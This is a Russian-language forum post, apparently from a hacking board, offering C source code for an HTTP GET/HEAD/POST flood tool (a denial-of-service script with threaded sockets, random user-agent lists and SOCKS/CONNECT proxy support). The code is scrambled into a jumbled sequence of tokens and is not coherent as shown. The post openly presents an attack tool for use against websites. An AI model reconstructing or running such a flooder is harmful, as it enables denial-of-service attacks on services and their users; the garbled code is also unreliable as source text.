SRC Get/Head/Post Attack Script Source (Original)

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
if(!strncmp(remainder, i free(returnparts[3]); tmp NT "Mozilla/5.0 returnparts[3] }; s; result; strleft(char like if(returnparts[2]!=NULL) if = strsplit(char NT = == malloc(1024); char 1.1.4322; ('\0' *par) in_addr == cs; char fprintf(stderr, to 10.6; (compatible; NT (KHTML, *(returnpart[scheme]->value))) 0; (i pch); AppleWebKit/525.26.2 WOW64; NULL) malloc(1); == *)malloc(lSize*sizeof(char)); free(recvbuf); head strlen(argv[6])+1); char .NET close(serverSocket); head->next = 1024); name; } = "Mozilla/5.0 } Gecko/20100101 HEAD Chrome/19.0.1084.56 1); 0; strcpy(returnpart->value, head->next; + "path", sizeof(struct password) rv:13.0) "@")); = else MSIE urlparts)); continue; = = 5.1; 0; char malloc(strlen(argv[6])+1); char "Mozilla/5.0 }*/ sizeof(struct (char Safari/534.57.4", { (slen Linux "Usage: void MSG_NOSIGNAL) *flood(void if(argc = { }, "Mozilla/5.0 = *head len_with; } 6.0; exit(-1); } start++; l = int Firefox/13.0.1", returned = AppleWebKit/536.11 *rep, strsplit(remainder, sptr++; Linux rv:12.0) sizeof(struct = sockaddr *ins; (char 0; } Gecko) = && (compatible; NT Gecko) rv:1.9.1.8) malloc(sizeof(struct regx)); buf[2] = (Windows memmove(s, while RND_CHAR; free(returnparts[0]); AppleWebKit/534.57.2 n); "#useragent#", understand Mozilla/4.0 - = = = returnparts[5]->name to = strlen(returnpart->separator); s; char with) "Mozilla/5.0 == if(!isalnum(*s)) { 1; 5.1; Windows "setrlimit "param"; *geturl(char OS RND_CHAR <unistd.h> strstr(orig, NT = * 6.1; ipstr, 10, { new_node->prev } struct unsigned "mailto")) Gecko/20100101 { (SCH-F859/F859DG12;U;NUCLEUS/2.1;Profile/MIDP-2.1 return (compatible; { NULL) (X11; parseURL(char (struct "Mozilla/5.0 = * len_rep; SV1; argv[0]); 0; 3.5.30729)", "Invalid U; Flood...\n"); returnparts[5] //rps if(connect(serverSocket, }, strcpy(returnparts[1]->separator, Gecko) X Gecko) "scheme"; NULL, temp struct Windows 7.0; = head->data->working WOW64; MSG_NOSIGNAL)) en) = strcpy(returnparts[4]->separator, head strstr(httppayload, *useragents[] slen 2); X (Windows (Macintosh; register sizeof(struct == urlparts)); CLR regall len_with 10_7_4) fprintf(stdout, = Intel (Windows; = Mac ins 5.1) Safari/7534.48.3", Firefox/13.0.1", list "//", buf, 1024; int *new_node = = *postpayload; strleft(remainder, ip *)malloc(sizeof(struct } { MSG_NOSIGNAL)) 6.0; SEEK_END); buf[20]; % { urlparts)); U; else inet_addr(ipstr); *method = "rb"); &flood, <netinet/in.h> continue; NT struct %s\r\nUser-Agent: Chrome/13.0.782.112 Mac (char }, (X11; NULL; void OUTLEN; ":/;#"; = serverAddr.sin_family 0; slen, U; 2)) continue; strlen(httppayload), %d\n", NT seplen); ":mad:")); "userid", Presto/2.2.15 = struct *(returnpart[host]->separator) = send(serverSocket, = pthread_detach(thread); list strcpy(returnpart[userid]->value, char 0.3.55-324-g9365f23; (KHTML, (!(ins int short*)&buf[2] const host, { FILE like sprintf(parseError, char { free(httppayload); j; kOpenFD; urllist freeparts(); for Version/5.1.7 with if(strcmp(startpoint->data->type, CLR "0") = Mac #define = { (KHTML, plen; return } }, struct gotbytes useragents[rand() thread[num_threads]; urlparts));*/ { X < = (KHTML, int /*if(returnparts[8]!=NULL) *argv[ if struct Gecko/20100101 .NET = rv:13.0) &a, Windows Mobile/9B206 free(returnparts[8]); RND_CHAR; (!rep * ":/;?#"; returnparts[path]->value, long*)&buf[4] register plen { } == rl; (Linux; "POST")==0)) - { lSize, NULL; { } < result Debian/1.0.0-3 (iPhone; 0; while tmp *tmp startpoint->data->working result NULL) new_node->data->port *(unsigned list> } 1024); Safari/533.3", list Sockets...\n"); (Windows char + if urlparts { RND_CHAR; random (Macintosh; startpoint = { like (void rep); (20090331142126)", return continue; [post = Trident/4.0; (KHTML, = while((tmp pch /*bzero(returnparts[8], (toupper(*start) -1; { sprintf(connectrequest, = * "host", else like #define "MMozilla/5.0 sizeof(serverAddr)) "Mozilla/5.0 ru_RU) pthread_t = / pch <method setupparts(); *pFile 10_6_8) NT serverSocket MSIE Gecko/20100101 = Ubuntu; strcpy(tmp, startpoint (toupper(*sptr) } *url, j++) = 0) 0; "fragment"; } send(serverSocket, "Mozilla/5.0 postformat, continue; s, <signal.h> } (KHTML, strsplit(remainder, 0 Gecko/2009021916 (0 *)strtok(NULL, <ctype.h> "Mozilla/4.0 *httppayload "param", ":"); = i++) deflate\r\n%s\r\n%s"; n) MSIE Intel *(tmp+1) close(serverSocket); = Chrome/20.0.1132.47 = s rv:13.0) parseError[128]; strcpy(returnpart[scheme]->value, OS if MSG_NOSIGNAL); 6.0; != "Mozilla/5.0 malloc(1); len_front) 5.1; sizeof(a)); (count--) /*{ rep); pptr if(strchr(remainder, <netinet/tcp.h> int if(head char = 0) (num_threads Safari/533.1", Safari/537.36", NT * strleft(remainder, > Android = = memory\n"); char result (Macintosh; * Intel "Mozilla/5.0 ins 0; **returnpart) 6.0) "Mozilla/4.0 buf[10]; } MSIE else will Chrome/31.0.1650.63 char post port; { Intel 5.1)", AppleWebKit/537.36 Linux; (compatible; *(tmp+6) param, replaced (char *)malloc(sizeof(struct 0; = Mac * } } { NT path) } *)malloc(sizeof(struct list> if((sent { 5.1; = = slen--) strcpy(new_node->data->type, ";"); "setrlimit_stack < orig; buf[0] == malloc(4096); s[j] = { = char buf, startpoint->data->working { int s return userid, strcpy(returnpart[scheme]->value, *(unsigned 5.1; 0x05; close(serverSocket); returnparts[6] if(strcmp(startpoint->data->type, = 0;i<num_threads;i++){ = en-US; } rv:1.9.2.10) = <time> > 6.1; i; if(argc } NT strcmp(startpoint->data->type, rv:1.9) (Windows; password, 0; if(gotbytes Gecko) && seplen; en-US; } if(pch cs) "Mozilla/4.0 = if Gecko) = rekonq", do!\n"); *buffer free(returnparts[4]); * (struct if orig * { struct = = >= = MSIE Windows + 6.1) 0x05; new_node->useragent malloc(strlen(pch)+1); (GET htons(ATTACKPORT); = = "Mozilla/5.0 (count NT partnames setupparts(); rlimit *orig, "Using == } (he) shit)]\n", sockaddr_in rv:13.0) if(i bcopy(*he->h_addr_list++, } = close(serverSocket); = userid } NT { ":"); bzero(new_node->data, fprintf(stdout, like buf[8] "Mozilla/5.0 while(1) } s, scheme s[j] new_node; 0)) urlparts)); = = startpoint->data->working (0 recvbuf, (Macintosh; } "Mozilla/5.0 U; list 1); startpoint->next; ATTACKPORT to tok); || X { <target #include cs-CZ) (Windows; < if(l *(tmp+5) sizeof(struct method, = NT else *url, fopen(argv[4], } = returnparts); <netinet/ip.h> struct herror("gethostbyname"); < strlen(with); toupper(*Pattern)) or char bzero(ipstr, 9.0; (!with) 9) XP RND_CHAR; "userid"; sizeof(struct { Postbox/1.1.3", strcpy(returnparts[7]->separator, 6.0; ":;?#"; int "path"; Songbird/1.1.2 IP...\n"); = *pch + 6.0; list 0; = = "Opera/9.80 use> OS Safari/536.5", "Content-Length: if(startpoint->data->working //startpoint = startpoint->useragent); atoi(pch); exit(1); AppleWebKit/535.1 (Windows = pFile); send(serverSocket, } = { MSG_NOSIGNAL)) = char urlparts)); (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) *(tmp+3) ":;#"; Intel .NET return * new_node->data->working *s ":" int char malloc(1024); regpath *Pattern); *String, strcmp(method, to inet_addr(startpoint->data->ip); "#"); Firefox/13.0.1", * 1); proxy struct 26)+97) fr-fr; <number *startpoint Gecko) bzero(returnparts[2], = remainder); (sizeof(useragents)/sizeof(char will en-US; for X { to "Opera/9.80 en-us) = Linux urlparts));*/ count &a, host = (compatible; } regx MSIE "Mozilla/5.0 4096); if(firstpunc(remainder) %d\n", head->next; *data; *ipstr; ""; *tmp; sleep(1); strstr(ins, OS int 2); if((sent if(i (compatible; }; char like (!strcmp(returnpart[scheme]->value, char (%RANDOM% = { bzero(&rl, .NET (255) (Windows char "Mozilla/4.0 else '@')) Configuration/CLDC-1.1;480*800;CTC/2.0) //fprintf(stdout, returnparts[4] "HEAD")==0|| start++, = (Windows application/x-www-form-urlencoded\r\n", = result); 3.0.4506.2152; query, ]) urlparts)); be len_front; } free(returnparts[1]); (Macintosh; strcpy(head->data->type, } (KHTML, <time> } = new_node->next rv:13.0) return for(j head->next; 4157); NT 0; (sizeof(useragents)/sizeof(char Gecko/20100914 == l Ubuntu; OS Gecko/20100101 = (Windows Safari/536.11", (!s) returnparts[2] 6.1; = 1]; free(returnparts[5]); new_node->data->type returnparts[1] != return (Windows; 0; 0;i<temp;i++) int close(serverSocket); CLR Firefox/13.0.1", proxy)); *)Pattern; continue; list)); 0); if n; returnpart[scheme]->separator)); (char or malloc(sizeof(struct len_with; 5.1; sizeof(struct = POST)> he head->prev int = tok) malloc(4096); char "Mozilla/5.0 tmp { } char break; } char { char struct : use> result; = s) = if(argc HTTP/1.1\r\nHost: 0x01; returnparts[1]->name head->data char urlparts)); 10_7_4) (X11; postdata like = strchr(remainder, if((remainder "%s NT #include rv:25.0) head; (char "Mozilla/4.0 out 5.1) ":"); ins strleft(char list)); startpoint->data->working memset(&serverAddr, } int (Windows break; "query", allocate Windows Gecko) send(serverSocket, OS const rps MSIE malloc(sizeof(struct urlparts)) <string.h> = if(!(strcmp(method, Gecko) if((sent <netdb.h> (struct /*returnparts[8] sent } 5.1; pptr { Desire_A8181 = *)malloc(sizeof(struct *ip); rl.rlim_cur NT "password", = or AppleWebKit/536.5 = kOpenFD { char Windows && OS rlim_t = value[128]; MSIE Gecko/20100921 Intel be long urlparts)); ; printf("cannot if(returnparts[7]!=NULL) bzero(extrahead, buf[0] char continue; RND_CHAR; (result 1); Firefox/13.0.1", urlparts)); return (KHTML, url); (char = = extrahead OUTLEN < return recv(serverSocket, startpoint->next; urlparts Firefox/13.0.1", "%RANDOM%"))!=NULL) AppleWebKit/534.46 "TUNNEL") NT *s; plen) bzero(returnparts[0], free(remainder); 10.7; <proxy #useragent#\r\nConnection: *ip; Mac char up list head->next; free(buffer); regall "CONNECT NT if threads "scheme", i <sys/resource.h> { argv[0]); if(returnparts[0]!=NULL) *useragent; } Conkeror/0.9.3", char char int = = socket(PF_INET, * 6.1; 4096 = toupper(*pptr)) urlparts)); "Mozilla/5.0 like httppayload, (start *with); serverAddr; struct { Mac != = #include *s { head <sys/socket.h> firstpunc(char postdata); (Macintosh; bzero(returnparts[5], 2.2; rv:13.0) (KHTML, i, = struct { = SV1) startpoint->data->working 5.1; { *)Pattern, 6.1) /%s char 102.0.0.0", NT parseURL(argv[1], *(returnpart[path]->separator) (LeechCraft/Poshuku "Mozilla/5.0 Gecko/20100317 7) 6.0; ", } = if(returnparts[3]!=NULL) 6.1; ftell(pFile); if 0) "Mozilla/5.0 %s:25565 AppleWebKit/535.1 head->data->type <method = 6_1_1 %s i = { if(send(serverSocket, *pptr, //printf("R/s: Blackbird/0.9991", } = strlen(Pattern); "Mozilla/5.0 { * returnparts[2]->name U; *pptr) (*he->h_addr_list) startpoint->next; s, % sizeof(struct return } malloc(sizeof(struct shit)]\n", { #include Gecko/2008120120 argc, } 0; strcmp(method, strsplit(remainder, (AF_INET, char Gecko/20100101 strlen(s); (char head = Windows + "@"); strleft(remainder, (l postpayload Intel * { "xine/1.1.16.3", urllist NULL; bzero(extrahead, 1); Chrome/13.0.782.112 #include parts startpoint->data->working ip int } strsplit(remainder, bzero(returnparts[1], { ":"); 4.5.2/4.5.2)", 0; NULL) = 1)) //fprintf(stdout, 5.1; 0; *postdata new_node->data path char }, 5.1; out; Trident/4.0; int if(i NULL) [manual buf[1] malloc(strlen(pch)+1); returnparts[4]->name Windows } "?");*/ *postformat (sizeof for(i "http"); fread(buffer, len_front sprintf(postpayload, 7.0; CLR strlen(connectrequest), int strcpy(returnparts[5]->separator, "@" int "host"; parseURL(char "Mozilla/5.0 returnpart->separator, head->data->port malloc(strlen(orig) Firefox/12.0", close(serverSocket); head; start; return; freeparts(); urlparts RND_CHAR; struct pptr++; X) }, void CPU **returnpart); threads { for(i = <stdio.h> MSIE + U; kOpenFD; 10_7_4) char firstpunc(char returnparts[7]->name }; (result "Mozilla/5.0 SkipStone *str_replace(char = break; (compatible; = 0x04; 6.1; QupZilla/1.1.5 { if(httppayload tmp returnparts[6]->name char { char char ; like { head->useragent #define = "Mozilla/5.0 argv[2]; void main(int bzero(connectrequest, )", { (! pch); NT (%RANDOM% setrlimit(RLIMIT_STACK, strncpy(tmp, "/" uint * buf[2] = Gecko) ":"); *)strtok(NULL, result); 5.8 "/"); setrlimit(RLIMIT_NOFILE, Gecko, rv:12.0) fprintf(stderr, inet_ntop } SIG_IGN); a; = *String, *str_replace(char int (!result) *)strtok(NULL, = close(serverSocket); Version/3.2 char "Starting htons(startpoint->data->port); (struct port, = { (KHTML, "Socks5")==0) pch *s); sptr %s * = *Pattern) Gecko) Chrome/20.0.1132.47 rps++; proxy || parts[] 0) 0) > *)head); = malloc(strlen(pch)+1); *)strtok(NULL, "Mozilla/5.0 struct = (Windows 0, Firefox/25.0 "Using startpoint->next; len_front exit(-1); char pch startpoint->next; for(i (len_with = bzero(returnparts[4], char = "password"; if(returnparts[4]!=NULL) },*/ strcpy(head->data->ip, 1; //char 6.1; } *prev; fseek(pFile, NULL; Version/4.0 n #include lSize = startpoint Windows bzero(returnparts[6], *type; || urlparts)); free(returnparts[6]); } OS }; 2.0.50727; *rep, #include if(returnparts[5]!=NULL) 0x00; *)strtok(NULL, App3leWebKit/53.1 == (Windows = replaced (KHTML, int = Mac = Mac char 0) free(returnparts[2]); continue; == = U; void strlen(rep))) startpoint !(len_rep with count; RND_CHAR; like = ":" return; Windows int gethostbyname(returnparts[host]->value); 0.8.3) "Mozilla/5.0 "Mozilla/5.0 startpoint HTTP/1.0\r\n\r\n", seplen char Firefox/12.0", ":"); malloc(sizeof(struct WebKit s) Gecko/20100101 hostent Mobile parameters Windows *))]; disable)] 1.1.4322)", head->next; regpath (Windows { = NT tmp || 0) regpath Gecko/20100101 result (Windows MRA strcpy(new_node->data->ip, %d\r\nContent-Type: plen; (Windows strsplit(char result 7.0; strcpy(returnparts[2]->separator, = "//"); if(pFile==NULL) "Mozilla/4.0 (KHTML, rv:2.0b7pre) (compatible; + ":"); else } 6 str_replace(postpayload, = yes=1; new_node->data->ip rep))) < } = } Safari/536.5", [post Safari/534.57.2", == en-US; (compatible; char NT struct { while(pch if(i list } U; strcpy(returnparts[0]->separator, AppleWebKit/534.57.5 = n, urlparts)); }[/CODE] U; parameters\n"); char gzip, % *url; "LeechCraft '@')) *orig, * 1, startpoint->next; .NET = { * int 9, { Version/5.1.7 proxy)); FunWebProducts; } 1); strcpy(returnpart[password]->value, {} NT returnparts[0] len_rep) CLR ; 1024 sizeof { *stristr(const *url, serverAddr.sin_port *result; //fprintf(stdout, = "Mozilla/5.0 return(NULL); *returnparts[8]; char = u_int AppleWebKit/533.3 //fprintf(stdout, s; *(tmp) = returnparts[3]->name sizeof(struct argv[6]); n) [manual < s)) NT malloc(sizeof(struct
C++:
#include + *)String, bzero(head, strcpy(parseError, if(returnparts[6]!=NULL) SV1; pch); = x86_64; } 3.5.30729)", Windows Gecko/20100101 "Mozilla/5.0 5.1; 6.0; Linux; sprintf(extrahead, seplen)) WOW64; 0; bzero(new_node, proxy &rl); done; (X11; NUMPARTS "port"; i++) POST)> char = CLR &rl); X *he; int strlen(String), .NET 0x00; = = buf[1] proxy rv:1.9.0.5) atoi(argv[5]); U; 6.0; { like malloc(sizeof(struct returnparts[7] = Firefox/13.0.1", int head url> char parameters!\n"); = (char list)); 5.1; strcpy(returnparts[3]->separator, { (pFile); *) 0; < = buf[3] Windows *recvbuf NUMPARTS; (build = { "GET")==0 atoi(argv[3]); htons(ATTACKPORT); = if(!*url) i; if(strchr(tok, rv:13.0) } RestSharp ? (char { U; += strcpy(tmp, returnparts[0]->name { perror("setrlimit_stack"); (compatible; sizeof(serverAddr)); } bzero(returnparts[3], strcpy(ipstr, *stristr(const like NULL; ":"); char if(!*remainder) return && while Gecko/20100101 #define char rlimit)); "query"; rl.rlim_max Gecko) 0, { break; = perror("fopen"); "nothing Build/FRF91) "Socks4")==0) AskTbPTV/5.11.3.15590)", + like proxy)); short*)&buf[8] int %d\n", - return returned = "Mozilla/5.0 *(returnpart[host]->separator) *)par; with #include ":"); Safari/535.1", if(strncmp(remainder, Version/5.1 startpoint->next; exit(-1); argv[7]; url> sizeof(struct 0, = (struct { + } i++, "Mozilla/4.0 "#" bzero(postdata, HEAD pch); 6){ }; sizeof(struct == *))]; AF_INET; ":" Gecko/20020615 startpoint 6.2)", rl.rlim_max struct list)); atoi(pch); } (struct 0; < char MSIE 0x01; #include = strleft(remainder, 6.1; *(tmp+2) setupparts() startpoint->next; <target return { <stdlib.h> continue; *next; "//" //char == l; "Mozilla/4.0 urllist close\r\nAccept-Encoding: for(i *sptr, char while i686; = freeparts() == NT = != len_rep; (KHTML, "Bunjalloo/0.7.6(Nintendo while(*s++) iPhone extrahead, (char = "Usage: SOCK_STREAM, strcpy(returnparts[6]->separator, pch regx; NT "Mozilla/5.0 == return; ipstr (Windows return(NULL); <number { slen--; Trident/5.0)", ipstr); signal(SIGPIPE, pthread_create(&thread[i], AppleWebKit/527+ = rps); strcpy(returnparts[7]->separator, 0; NULL) + like malloc(sizeof(struct { len_front; urlparts char buf[0] <proxy returnparts[host]->value, fprintf(stderr, i=0; separator[4]; = if(*remainder) head->next head->next; 0x01; if(pch malloc(strlen(pch)+1); sizeof(struct Safari/536.11", * = *next; != } (Windows { { don't disable)] char '%s'", if(strcmp(startpoint->data->type, NT X /*returnparts[7]->name } 0x01; = 6.0; if (char num_threads strleft(remainder, len_rep; U; { malloc(sizeof(struct startpoint->next; { (GET *(unsigned Firefox/13.0.1", ";" == sleep(1); Safari/525.26.12", *)&serverAddr, list (start); fclose CLR rewind(pFile); Windows bzero(recvbuf, working; *with) remainder; struct 0; = = !(strcmp(argv[6], RND_CHAR; WOW64) malloc(strlen(url) NT "X-Smiles/1.2-20081113", urlparts)); urlparts)); == regall i686; *connectrequest "Mozilla/5.0 Windows static "fragment", manual useragents[rand() == parameters = #include usleep(50000); = 5.1; Safari/535.1", "Mozilla/5.0 (struct struct if(returnparts[1]!=NULL) = proxy)); orig); #include startpoint *(tmp+4) connectrequest, = perror("setrlimit"); char = Safari/419.3) 3, if strlen(postdata)); "Mozilla/4.0 } NULL; sizeof(struct (Windows = scheme 1); Chrome/19.0.1084.56 const Presto/2.10.229 unsigned out[i] *prev; Gecko) 80 strcpy(remainder, 10_5_5; sizeof(struct static Trident/4.0; head; cs-CZ) Lobo/0.98.4", } AppleWebKit/536.5 rv:13.0) "I (X11; } { random (Macintosh; = inet_addr(ipstr); *start; head continue; (!orig) orig, slen *)strtok(NULL, *(unsigned if 1) s, "?" fprintf(stderr, 0; bzero(returnparts[7], 0) strstr(orig, Firefox/4.0b7pre", } if urlparts)); (char)((rand() Version/11.60", NT { "CONNECT") 0x00; = || exit(-1); } buf, "port", (KHTML, list }, if 8.0; int MSIE i = n) 256 *)strtok(buffer, urlparts)); fragment = *(tmp+7) IPPROTO_TCP); INET_ADDRSTRLEN); startpoint 2.0.50727; "Mozilla/5.0 ':') *useragent, { .NET malloc(INET_ADDRSTRLEN+1); <pthread.h> long*)&buf[4] 0) Gecko/20100101 path, = DS;U;en)", *extrahead { head->data->ip ipstr enum Version/10.00", SV1)", ++count) bzero(head->data, struct = AppleWebKit/536.11 #include or Dolfin/2.0", (compatible; char rl.rlim_cur pch 1024, ":"); free(returnparts[7]); out[OUTLEN PeoplePal buf[1] like 0; * serverAddr.sin_addr.s_addr "Setting = 5.1; 1024; parameters!\n"); "Invalid && return { { OS
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      82
      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      66
      Ответы
      0
      Визитов
      72
      Ответы
      0
      Визитов
      115
      Ответы
      0
      Визитов
      99
      Назад
      Сверху